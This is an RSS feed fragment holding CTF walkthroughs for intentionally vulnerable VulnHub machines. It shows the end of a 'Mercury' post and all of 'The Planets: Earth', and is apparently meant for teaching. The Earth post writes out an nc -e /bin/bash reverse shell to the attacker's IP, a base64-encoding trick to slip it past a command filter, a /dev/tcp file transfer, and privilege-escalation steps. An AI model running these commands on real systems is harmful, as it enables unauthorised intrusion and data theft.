/></figure><p>17th step I switch users to linuxmaster to see if I gain more privilege. Using SSH <a href="/service/mailto:linuxmaster@10.0.2.9">linuxmaster@10.0.2.9</a> and mercurymeandiameteris4880km as the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*6R_ljk-fbXFM5wCFeiekMw.png" /></figure><p>18th step still the user doesn’t have root permission so I will use the (<strong><em>sudo -l</em></strong>) command to list the files with those permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*2hqmhsPuemFRpfXEEg625A.png" /></figure><p>19th step we see the user has root permissions through check_syslog.sh I use this file to do privilege escalation. Finding out the script was used to read the last 10 syslog entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*S-AZRUwh3kJ_rb-bDvU-kw.png" /></figure><p>20th step using the vi text editor I will create a hard link to an existing file to specify the target using the commands:</p><p><strong><em>ln -s /usr/bin/vim tail</em></strong></p><p><strong><em>export PATH=$(pwd):$PATH</em></strong></p><p><strong><em>sudo — preserve-env=PATH /usr/bin/check_syslog.sh</em></strong></p><p>write <strong><em>:!/bin/bash</em> at the end of the script to get a root shell.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*fjq-mo_iUywW8GLYmcq4LQ.png" /></figure><p>21st step Now I have access to the root directory. I confirm this by running the<strong> <em>id </em></strong>and/or<strong><em> whoami </em></strong>command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*I4MIScOaOUkPo1A35K98nQ.png" /></figure><p>22nd step change to the root directory and ls the files. You will see the rootflag.txt file. Check the contents of the file by using the cat command and see the mercury banner. ROOT FLAG CAPTURED!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*VMvDmeHYYPiZNjJAXepViA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3884230fe368" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Planets: Earth Vulnhub CTF Walkthrough]]></title>
            <link>https://agentjones.medium.com/the-planets-earth-vulnhub-ctf-walkthrough-0a26a846dab9?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a26a846dab9</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Mon, 25 May 2026 18:43:03 GMT</pubDate>
            <atom:updated>2026-05-25T22:19:12.547Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my name is Houston Jones, and I will be your personal guide through the VulnHub “Earth”.</p><p>The Planets: Earth</p><p>About Release</p><ul><li><strong>Name</strong>: The Planets: Earth</li><li><strong>Date release</strong>: 2 Nov 2021</li><li><strong>Author</strong>: <a href="https://www.vulnhub.com/author/sirflash,731/">SirFlash</a></li><li><strong>Series</strong>: <a href="https://www.vulnhub.com/series/the-planets,362/">The Planets</a></li></ul><p>IMPORTANT NOTE: The IP addresses used in these screenshots will most likely differ from the ones in yours.</p><p><strong>1st step</strong>:</p><p>I used the <strong><em>sudo arp-scan -l</em></strong> command to discover all devices on my local network. Note that the first two IP addresses are locally administered and have the same MAC address. These would not be our targets. We will have to use the command in the step 2 to discover which IP address is our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*eBCuNCkzgv9yAEPcb0vU3Q.png" /></figure><p><strong>Command breakdown:</strong></p><p>sudo arp-scan -l</p><ul><li>arp-scan — sends ARP requests to discover live hosts on the network</li><li>-l(L) — scans the local<strong> </strong>network</li><li>sudo — runs the command with admin (root) privileges.</li></ul><p><strong>2nd step</strong>:</p><p>I used the command <strong><em>nmap -sV -Pn &lt;IP ADDRESS&gt;</em></strong> to scan for open ports and what services are running on those ports. As you can see in the screenshot, I find ports 22(SSH), 80(HTTP) and 443(HTTPS) open. We also discover an identity as to whom the IP address belongs to in the screenshot which is earth.local.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*sDtPOugM_E4CWKdIOdYrpQ.png" /></figure><p><strong>Command breakdown:</strong></p><p><strong>nmap -sV -Pn &lt;IP Address&gt;</strong></p><p><strong>nmap — </strong>a network scanning tool used to discover open ports and identify services running on a host.</p><p><strong>-sV — </strong>version detection; identifies what service and version is running on each open port</p><p><strong>-Pn — </strong>skip ping check and treat the host as online; useful when a host blocks ICMP ping but is still up</p><p><strong>3rd step</strong>:</p><p>After identifying the target IP, I ran a deeper scan to gather more information about the services running on the host. Since I was dealing with a web server, I needed to pull more details like hostnames and SSL certificate data. So, I use the command (sudo nmap -p- -sC -sV -T4 <strong>&lt;IP Address&gt;</strong>). Through this I discover 2 DNS names “earth.local” and “terratest.earth.local” which I will add in the hosts file so that I can use them in the browser to get the sites I want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*YY1vIVJuj0JfhcRHSFN1sA.png" /></figure><p>Command breakdown:</p><p>sudo nmap -p- -sC -sV -T4 10.0.2.10</p><ul><li>-p- — scans all 65,535 ports instead of just the default 1,000</li><li>-sC — runs default scripts to pull extra info like SSL cert details and hostnames</li><li>-sV — detects service versions</li><li>-T4 — faster scan speed</li></ul><p><strong>4th step:</strong></p><p>is adding the hosts to the hosts file. I use the command (<strong><em>sudo nano /etc/hosts</em></strong>) to open the text editor and add the hosts to the file. After running the command, you should be brought to a window that displays as the screenshot below. Although you will need to enter, the target IP and the two DNS names we found earlier as followed in the picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*QEwugIzxJnLf22s9DWHZ5g.png" /></figure><p>When you visit a website by name like (earth.local), your computer first checks the /etc/hosts file to see if there’s a manual entry for that name. If there isn’t one, it asks a DNS server to look it up. Since earth.local is a fake/local domain that no real DNS server knows about, the browser would fail to find it without a manual entry. Adding it to /etc/hosts essentially tells your machine “Whenever you see earth.local, go to 10.0.2.10”, bypassing the need for a real DNS server.</p><p><strong>5th step</strong>:</p><p>I opened a browser and visited earth.local. The page showed some encrypted messages at the bottom. Then to test the behavior of the site I sent my own message in the message box and observed that it added another encrypted message at the bottom. The encrypted messages appear to be <strong>hexadecimal (hex) encoded</strong> strings long strings made up only of the characters 0–9 and a-f.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*d1F-FTFRwg13U1UVL-tdxQ.png" /></figure><p>6th step:</p><p>Just visiting the website only shows what is meant to be seen publicly. To find hidden pages, I used a tool called <strong>Gobuster</strong> to brute-force directory names on the site. Using the command (<strong><em>gobuster dir — url </em></strong><a href="https://earth.local/"><strong><em>https://earth.local</em></strong></a><strong><em> -w /usr/share/wordlists/dirb/common.txt -k</em></strong>) will perform a directory brute-forcing on the site earth.local. I discover an admin page in the hidden directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*FBg6hr5ZqJ8kfSImn9zjTg.png" /></figure><p>7th step:</p><p>I go back to the web browser and add<strong> </strong>/admin<strong> </strong>on to the end of earth.local and it brings me to a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*FDZvD4DH_hS3yoE8X80R3Q.png" /></figure><p>8th step</p><p>I have not found any credentials yet. So now that will be the next objective. I go to visit the 2nd site that I found in my scan earlier, terratest.earth.local. I come across a page that says, “Test site, please ignore.” So, this wasn’t helpful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*WEuEImqbQOF7rPfPobzYrw.png" /></figure><p>9th step:</p><p>I am going to brute-force the directory by using gobuster. I use the command <strong><em>gobuster dir -u </em></strong><a href="https://terratest.earth.local/"><strong><em>https://terratest.earth.local/</em></strong></a><strong><em> -k -w /usr/share/wordlists/dirb/common.txt</em></strong> which helps me discover a directory named /robots.txt so we will use that at the end of terratest.earth.local. Then I come across another directory that stands out named /testingnotes.txt. So, I will use that at the end of the site. Which exposes the encryption type is XOR and I will use this to decrypt the encrypted messages from the earth.local site using Cyber Chef. I also saw testdata.txt was used to test the encryption, so there may be some resourceful information in that file. I can also saw the username terra was used in the admin portal too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*KobWEBc6L3QewBNM3YMY0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*we2qubb6ZcxBDur501YhDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*f0fsO_o6LnftUKqQiiFVkg.png" /></figure><p>10th step:</p><p>I go <a href="https://terratest.earth.local/testdata.txt">https://terratest.earth.local/testdata.txt</a> from the file directory that I observed earlier from the /testingnotes directory. This could be used as a possible key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*NtO8JTqLtYQ7L34alP_hmA.png" /></figure><p>11th step:</p><p>Going over to cyber chef, I drag ‘From Hex’ and ‘XOR’ over to the recipe to set up for decrypting the encrypted messages from earth.local (Be sure to set XOR key to UTF8). Trying to decrypt the messages one by one. I finally got to the last message and once decoded it had a repeating phrase saying ‘earthclimatechangebad4humans’. My assumption is that it may be password for the user “terra” that we discovered earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*BEjvWu89GUamkZlmWz6Hgg.png" /></figure><p>12th step</p><p>Going back to the /admin login screen we use the username: terra and the password: earthclimatechangebad4humans. It brings us to a CLI command box where we can run commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*wfur8OEKDY7QGG7ottKmEw.png" /></figure><p>13TH step:</p><p>I ran a whoami command to see what the output would be. Ran the ls command to see some other listed directories. Then I ran ls /var to see some possible sub directories and saw /earth_web. Running the ls /var/earth_web we find our first user_flag.txt. Now to display the contents of the flag we have to use the cat command (cat /var/earth_web/user_flag.txt). HOORAY!!! Found my first flag!(Feel free to run ls on the other directories)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omq3L1p8wiurLDVupy3FUw.png" /></figure><p><strong><em>Now that we have found the user_flag, we will be looking to capture the 2nd flag which is the root_flag.</em></strong></p><p>14th step</p><p>Now I will try a reverse shell. A reverse shell is when you trick the target machine into connecting back to you, giving you a remote command line on that machine.</p><p>I first set up a listener on my Kali machine: nc -lvnp 3333</p><p>I then tried running this command from the Admin Command Tool on earth.local/admin: nc -e /bin/bash 10.0.2.8 -3333</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Soj9qfrap-6v_5Coj1bnMA.png" /></figure><p>Command breakdown:</p><ul><li>nc — netcat, a networking tool used to send and receive connections</li><li>-l — listen for incoming connections</li><li>-v — verbose, shows connection details</li><li>-n — skip DNS resolution</li><li>-p 3333 — listen on port 3333</li></ul><p>Command breakdown:</p><p><strong>Command breakdown:</strong></p><ul><li>nc — netcat; the tool making the connection</li><li>-e /bin/bash — once connected, attach a bash shell to the connection so the receiver gets a live command line</li><li>10.0.2.8 — your Kali machine’s IP (the destination to connect back to)</li><li>3333 — the port your Kali listener is waiting on</li></ul><p>15th step</p><p>I will try encoding the command in base 64. Using the command <strong><em>echo “nc -e /bin/bash 10.0.2.8” | base64</em></strong> on the local terminal. In the output I get my command encoded in base 64 encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*4bWt2n2RQt1g6h3QvjqOcA.png" /></figure><p>16th step</p><p>Since the admin tool blocks direct remote connection commands, I encoded the reverse shell command in Base64 to disguise it. The filter doesn’t recognize it as a network command so it passes through and gets executed. Now going back to earth.local admin command line I use the command echo ”bmMgLWUgL23PBI9iYXNoIDEwLjAuMi44IDMzMzMK” | base64 -d | bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*VXVKK2K7GHfoX7Vagj1zXA.png" /></figure><p>You should see the listen port or your terminal look like this now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*clEpHf9oGjeCwFmf8F3ZJg.png" /></figure><p>17th step:</p><p>Once the reverse shell connected, I ran: python -c ‘import pty;pty.spawn(“/bin/bash”)’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*eN5miNuCIRhv8ZxwfHK-og.png" /></figure><p>Command breakdown:</p><p>· python -c - runs a Python command directly from the terminal</p><p>· import pty - imports Python&#39;s pseudo-terminal module</p><p>· pty.spawn(&quot;/bin/bash&quot;) - spawns a proper interactive bash shell</p><p>18th step:</p><p>I first confirmed my current user with whoami, which returned <strong>apache</strong>. Attempting to access the /root directory returned <strong>“Permission denied”</strong>, confirming I don’t have root access yet.</p><p>To find a path to escalate privileges, I ran: find / -perm -u=s 2&gt;/dev/null and find the /usr/bin/reset_root path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*ytrkytFSnhQt2cGTQmtJNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*RHfbV4ckLPRv405ba0MQjA.png" /></figure><p>Command breakdown:</p><ul><li>find / — search the entire file system</li><li>-perm -u=s — find files with the <strong>SUID</strong> bit set; these files run with the permissions of their owner (often root) regardless of who executes them</li><li>2&gt;/dev/null — hides error messages so the output stays clean</li></ul><p>19th step</p><p>Tried running reset_root on the target machine and it failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*SssD_VKpwfZ2vTegTGw12A.png" /></figure><p>I needed to get the reset_root file off the Earth machine and onto my Kali machine so I could look inside it and figure out what it needed to run. I opened a listener on Kali to receive the file, then sent it over from the Earth machine using the TCP connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*MGiG9F8Zjw2cmc9P7UzYXg.png" /></figure><p>I used cat to read the reset_root binary file and sent it over the network to my Kali machine using /dev/tcp. That is a bash trick that lets you send data over a TCP connection without needing any extra tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*txx0TzhpZdQlpOa3x5RpJQ.png" /></figure><p>20th step:</p><p>I ran ltrace ./reset_root on my Kali machine to trace what the binary was doing. The output shows there are 3 files missing from that location and so we will have to create those files ourselves on the target machine. ltrace — intercepts and displays library calls a program makes while running, letting you see exactly what it is checking or looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*246FhjWcoh_tRGBp0A1gUA.png" /></figure><p>21st step:</p><p>Here I created the files on the target. Then ran the reset_root again resetting the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*JBHvz5lzDXAlCBs5bx-MWg.png" /></figure><p>22nd step:</p><p>I switch to /root directory using su root and entering the password earth. The credentials which now give us are needed to login to Earth Machine.</p><p>Earth login: root Password: Earth</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UTQ10a3pYDLuVMHopSoA_w.png" /></figure><p>FINALLY, I GOT THE ROOT FLAG!!! MISSION ACCOMPLISHED!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a26a846dab9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>